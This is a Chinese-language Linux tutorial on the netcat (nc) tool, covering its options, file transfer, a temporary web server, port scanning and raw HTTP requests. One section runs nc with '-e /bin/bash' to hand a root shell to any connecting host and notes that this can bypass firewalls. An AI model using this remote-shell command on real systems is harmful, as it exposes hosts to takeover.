Linux網路利器netcat/nc

netcat或者是nc工具被稱為網路上的瑞士軍刀，因此netcat也有各個版本出現在各個系統中，而在CentOS 7 開始netcat也被整合到namp專案中。當然如果是開源系統中，如Ubuntu或Linux系統中則可以通過apt或yum來進行安裝，在DOS系統下可以通過下載nc for windows獲取到二進位制版的netcat。因為netcat工具實際上可以通過tcp、udp或者是socket等等的方式在兩台主機之間建立連結，然後通過連結讀取資料流，而在接收傳輸資料流的過程中可以任意發揮你的想象，因此它的功能十分強大，在這裡就簡單的介紹說明一下。

  先說明下nc中比較常用的引數說明：
-4 : 強制nc使用ipv4
-6 : 強制nc使用ipv6
-D : 使用socket的方式
-d : daemon（後台）執行，就可以設定成服務
-l : 監聽模式，如果沒有特別指定後面常常隱式使用-p引數
-n : 使用ip的，而不使用域名
-p : 使用本地主機的埠，預設是tcp協定的埠
-r : 任意指定本地及遠端埠
-s : 設定本地主機送出封包的IP地址，主機上有多個IP時指定系結的IP
-U : 使用Unix的socket
-u : 使用udp協定
-v : 詳細輸出
-z : 將輸入輸出關掉，即不進行互動，用於掃描時，注意在nmap的版本下沒有這個引數
-w : 設定連線超時時間，單位秒

使用也很簡單，可以通過簡單的測試下：
    1、測試2台主機資料流是否能通訊（模擬Clint/Server模型）
host A（192.168.2.200）：
[root@localhost ~]# nc -lp 1234#注意防火牆上需要開啟相應的監聽埠

host B（192.168.2.203）：
[root@localhost ~]# nc 192.168.2.200 1234

此時如果hostB能連通hostA的tcp 1234埠時，在host A上的輸出任何資訊都會通過nc傳送至host B上。
    2、資料傳輸
host A：
[root@localhost ~]# ls -l
總用量 4
-rw------- 1 root root 1150 8月  9 00:54 file
[root@localhost ~]# nc -l 1234 < file

host B：
[root@localhost ~]# ls -l
總用量 0
[root@localhost ~]# nc 192.168.2.200 1234 > file
[root@localhost ~]# ls -l
總用量 4
-rw-r--r--. 1 root root 1150 9月  10 19:29 file

同理還可以使用tar命令傳送資料流的形式壓縮傳遞檔案，以節省頻寬
host A：
[root@localhost ~]# du -sh ./*
46M    ./data
[root@localhost ~]# tar -cjf - data | nc -l 1234

host B：
[root@localhost ~]# ls -l
總用量 0
[root@localhost ~]# nc 192.168.2.200 1234 | tar -jxf -
[root@localhost ~]# ls -l
總用量 4
drwxr-xr-x. 9 root root 4096 9月  10 19:57 data

當然利用這個特性還可以用nc模擬web伺服器提供靜態頁面（利用nc搭建臨時web伺服器）：
host A：
[root@localhost ~]# vim test.html
123
[root@localhost ~]# vim nc_web.sh
#!/bin/bash
while true; do
    nc -l 80 < test.html;
done
[root@localhost ~]# chmod +x nc_web.sh && ./nc_web.sh

host B：
[root@localhost ~]# curl 192.168.2.200
123

當然利用nc的特性，在此功能上還能衍生出其他的很多功能，如：備份、裝置克隆，網路測速，下載、壓測等等，在此就不一一介紹了。
    3、給伺服器傳送訊息
如給一個網址傳送一個http的地址頭：
[root@localhost ~]# echo -n "GET / HTTP/1.0rnrn" | nc www.baidu.com 80 -v
Connection to www.baidu.com 80 port [tcp/http] succeeded!

同理利用這個特性也可以使用nc給SMTP伺服器發訊息用來發郵件等等。
    4、埠探測

在這裡nc的功能比telnet好用多了，預設是tcp埠：
[root@localhost test]# nc -zvn 192.168.2.203 22
nc: connect to 192.168.2.203 port 22 (tcp) failed: Connection refused

udp埠：
[root@localhost ~]# nc -zvun 192.168.2.200 1234

某一埠段：
1 [root@localhost ~]# nc -zvn 192.168.2.200 1-1024

    5、shell/cmd反彈：
host A：

[root@localhost ~]# nc -l -p 1234 -t -e /bin/bash

-t：telnet的方式

host B：
[root@localhost ~]# nc 192.168.2.200 1234
ls / 
1
app
bin
boot
data
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

該方法可以繞過防火牆，對目標機shell連線，同理用nc實現埠轉發也是利用該原理。

    6、自定義http的頭來存取頁面
這裡建議用www.try2hack.nl網站去測試，在其中一些資訊可以誰便填

12345 [root@localhost ~]# nc www.try2hack.nl 80
GET / HTTP/1.1
Host: baidu.com
Referrer: Mozilla/5.0
User-Agent: my-browser

在2次回車後就把別人的整個http頭和相關靜態頁面都獲取下來。
  總之netcat/nc是一個十分實用且的強悍的工具，發揮你的想象靈活多變它可以實現你很多功能，在這裡就不全部一一介紹了。

本文永久更新連結地址：http://www.linuxidc.com/Linux/2017-09/146925.htm